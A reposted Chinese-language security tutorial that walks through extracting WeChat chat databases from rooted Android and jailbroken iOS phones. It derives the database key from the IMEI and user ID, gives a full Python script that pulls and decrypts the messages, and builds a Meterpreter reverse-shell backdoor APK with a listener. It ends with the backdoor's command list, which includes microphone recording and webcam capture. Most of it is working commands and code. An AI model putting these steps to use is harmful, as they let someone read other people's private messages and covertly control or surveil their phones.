(轉)獲取安卓iOS上的微信聊天記錄、經過Metasploit控制安卓

時間 2019-11-20

標籤獲取 ios 微信聊天記錄經過 metasploit 控制欄目 Android 简体版

原文原文鏈接

在這篇文章中咱們將討論如何獲取安卓、蘋果設備中的微信聊天記錄，並演示如何利用後門經過Metasploit對安卓設備進行控制。文章比較基礎、可動手性強，有設備的童鞋不妨邊閱讀文章邊操做，但願能激發你們對移動終端的安全興趣。python

「如何獲取Android、iPhone手機上的微信聊天記錄？」
android

0×00 條件：

安卓設備已獲取root權限，安裝SSHDroid(經過ssh、ftp鏈接手機)nginx

Apple設備越獄，安裝OpenSSH插件git

0×01 安卓：

不少安卓手機的用戶都會遇到這麼一個尷尬的問題:手機用久了就不知不覺變得慢了,最後慢到什麼都遲鈍了。爲了解決這個問題和大多數人同樣我選擇了root設備。github

安卓設備在root之後能夠對系統文件存在最高級別的操做權限。好比，你在安卓設備上安裝了微信，那麼root之後經過adb shell你能對微信App的文件配置進行讀取修改等操做。
web

Android應用程序的數據庫文件一般會保存在 /data/data/packagename/database 文件夾下，微信App文件存放路徑爲：/data/data/com.tencent.mm/MicroMsg sql

首先經過FTP把文件down到本地：chrome

以34位編碼（相似於亂碼）命名的文件夾中可找到微信帳號的加密數據庫文件：EnMicroMsg.dbshell

用數據庫管理器打開：提示加密或者不是數據庫文件數據庫

這裏能夠用windows環境下的SQLite Database Browser瀏覽器打開：

提示輸入密碼：

那麼，加密數據庫使用的密碼是什麼呢？咱們又該如何獲取到這個密碼？經過上網查資料瞭解到：微信採用手機的IMEI值和微信UIN值的組合來對數據進行加密。

微信帳號uin：即user information 微信用戶信息識別碼，獲取微信UIN的方式有兩種：

1.經過微信app的「system_config_prefs.xml」配置文件獲取微信帳號uin;

2.經過抓取WEB版微信聊天的數據包獲取到uin。

1.1 App 配置文件

find / -name 「system_config_prefs.xml」

/data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml

cat /data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml | grep uin

<int name="default_uin" value="146****21" />

1.2 谷歌chrome瀏覽器登錄WEB版微信：

登錄後新建窗口並訪問chrome://net-internals/#events

發送信息抓包 find uin值

uin:146****21

經過上述兩種方法找到的uin值是相同的。

安卓撥號界面輸入*#06#得到手機IMEI碼：354**********85

IMEI值+uin值組合即爲354**********85146****21

md5: http://www.spriteking.com/cmd5/ 左側加密

獲得32位小寫md5值：1cbf8b842f8bf650aa65e5d3ced07735取其前七位:1cbf8b8輸入到sql瀏覽器中。

Linux、Mac用戶也能夠在終端執行：

echo -n "354**********85146****21" | md5sum | cut -c -7

成功打開微信的數據庫文件：

Wechat2txt.py:gist.github.com

import os import sys import re import hashlib import csv import time import locale import getopt def get_db(): os.popen('adb root').close() text = os.popen( 'adb shell ls /data/data/com.tencent.mm/MicroMsg/*/EnMicroMsg.db').read() return text.splitlines()[- 1] if text else '' def get_default_uin(): os.popen('adb root').close() text = os.popen( 'adb shell cat /data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml').read() default_uin = re.findall( 'name="default_uin" value="([0-9]+)"', text) return default_uin[0] if default_uin else 0 def get_device_ID(): text = os.popen('adb shell dumpsys iphonesubinfo').read() device_ID = re.findall('Device ID = ([0-9]+)', text) return device_ID[0] if device_ID else 0 def get_md5(): default_uin = get_default_uin() device_ID = get_device_ID() if default_uin and device_ID: return hashlib.md5(device_ID + default_uin).hexdigest()[0: 7] return '' def parse_msgcsv(msgcsv): locale.setlocale(locale.LC_ALL, '') if hasattr(msgcsv, 'title'): msgcsv = [ooOoo0O + '\n' for ooOoo0O in msgcsv.splitlines()] pass OooO0 = csv.reader(msgcsv) OooO0.next() for ooOoo0O in OooO0: try: II11iiii1Ii, OO0o, Ooo, O0o0Oo, Oo00OOOOO, O0O, O00o0OO, name, iIi1ii1I1, o0, I11II1i, IIIII = ooOoo0O[ : 12] pass except: continue ooooooO0oo = 'me' if (Oo00OOOOO == '1') else name IIiiiiiiIi1I1 = time.localtime(int(O00o0OO) / 1000) I1IIIii = time.strftime("%Y-%m-%d %a %H:%M:%S", IIiiiiiiIi1I1) yield [name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0] pass pass def get_names(chat): names = {} for name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0 in chat: names[name] = 1 pass return names.keys() def oo(chat, name=''): text = [] name = name.lower() for name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0 in chat: iIi1ii1I1 = iIi1ii1I1.replace('\n', '\n ') o0 = ('\t' + o0) if o0 else '' if not name: text.append('%s: %s %s: %s %s' % (name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0)) pass elif name.lower() == name: text.append('%s %s: %s %s' % (I1IIIii, ooooooO0oo, iIi1ii1I1, o0)) pass pass return '\n'.join(text) + '\n' def IIIii1II1II(dbn, key=''): child_stdin, child_stdout = os.popen2(['sqlcipher', dbn]) if key: child_stdin.write('PRAGMA key=%s;\n' % ` key `) child_stdin.write('pragma cipher_use_hmac=off;\n') pass child_stdin.write('.tables\n') child_stdin.close() return child_stdout.read().split() def decrypt(dbn, key='', table='message'): table = table or 'message' child_stdin, child_stdout = os.popen2(['sqlcipher', dbn]) child_stdin.write('.header on\n') child_stdin.write('.mode csv\n') if key: child_stdin.write('PRAGMA key=%s;\n' % ` key `) child_stdin.write('pragma cipher_use_hmac=off;\n') pass child_stdin.write('select * from %s;\n' % ` table `) child_stdin.close() return child_stdout.read() def wechat2txt(names=[]): in_file = 'EnMicroMsg.db' out_file = 'message.csv' db = get_db() md5 = get_md5() os.popen('adb wait-for-device') os.popen('adb pull %s %s' % (db, in_file)).close() msgcsv = decrypt(in_file, md5) if msgcsv.find('\n') < 0: return 1 file(out_file, 'w').write(msgcsv) msgs = list(parse_msgcsv(msgcsv)) if not msgs: return 1 if not names: names = get_names(msgs) pass for name in names: filename = 'message.%s.txt' % name text = oo(msgs, name) if len(text) > 4: file(filename, 'w').write(text) pass pass pass help_msg = '''Usage: wechat2txt.py [OPTIONS] [NAME]... OPTIONS: -h display this help and exit ''' def main(): try: opts, args = getopt.getopt(sys.argv[1:], 'h') except getopt.error, e: print help_msg return 1 for opt, arg in opts: if opt == '-h': print help_msg return 1 pass names = args text = wechat2txt(names) return not text if __name__ == "__main__": sys.exit(main())

0×02 蘋果：

Apple設備越獄後可經過Cydia安裝各類小插件，一般狀況我會安裝OpenSSH來使本身能經過終端鏈接到Apple設備中，並使用sftp傳輸文件：

iOS中，應用文件夾以hash值命名，要導出微信、QQ的聊天記錄其難度相對安卓來講稍微複雜不少。

在實際操做中咱們能夠經過巧用Linux命令（find、grep、xargs）來繞過這些坑。

find /var/mobile/Containers/Data -name "MM.sqlite" 

mkdir /cache find /var/mobile/Containers/Data -name "MM.sqlite" |xargs -I {} dirname {} | xargs -I {} cp -r  {}/../../ /cache

0×03 在安卓終端植入後門

3.1 實驗環境

Kali Linux（Hack）：192.168.31.213

Android（靶機）：192.168.31.118

3.2生成後門文件：

cd Desktop msfpayload android/meterpreter/reverse_tcp LHOST=192.168.31.213 LPORT=443 R >0xroot.apk

3.3 運行metasploit控制檯

msfconsole

use exploit/multi/handler set payload android/meterpreter/reverse_tcp set LHOST 192.168.31.213 set LPORT 443 run

3.4 安裝&運行後門App

後門能進行什麼操做？咱們來看看usage：

meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information about active channels
    close                     Closes a channel     disable_unicode_encoding  Disables encoding of unicode strings     enable_unicode_encoding   Enables encoding of unicode strings     exit                      Terminate the meterpreter session     help                      Help menu     info                      Displays information about a Post module     interact                  Interacts with a channel     irb                       Drop into irb scripting mode     load                      Load one or more meterpreter extensions     quit                      Terminate the meterpreter session     read                      Reads data from a channel     resource                  Run the commands stored in a file     run                       Executes a meterpreter script or Post module     use                       Deprecated alias for 'load'     write                     Writes data to a channel Stdapi: File system Commands ============================     Command       Description     -------       -----------     cat           Read the contents of a file to the screen     cd            Change directory     download      Download a file or directory     edit          Edit a file     getlwd        Print local working directory     getwd         Print working directory     lcd           Change local working directory     lpwd          Print local working directory     ls            List files     mkdir         Make directory     pwd           Print working directory     rm            Delete the specified file     rmdir         Remove directory     search        Search for files     upload        Upload a file or directory Stdapi: Networking Commands ===========================     Command       Description     -------       -----------     ifconfig      Display interfaces     ipconfig      Display interfaces     portfwd       Forward a local port to a remote service     route         View and modify the routing table Stdapi: System Commands =======================     Command       Description     -------       -----------     execute       Execute a command     getuid        Get the user that the server is running as     ps            List running processes     shell         Drop into a system command shell     sysinfo       Gets information about the remote system, such as OS Stdapi: Webcam Commands =======================     Command       Description     -------       -----------     record_mic    Record audio from the default microphone for X seconds     webcam_list   List webcams     webcam_snap   Take a snapshot from the specified webcam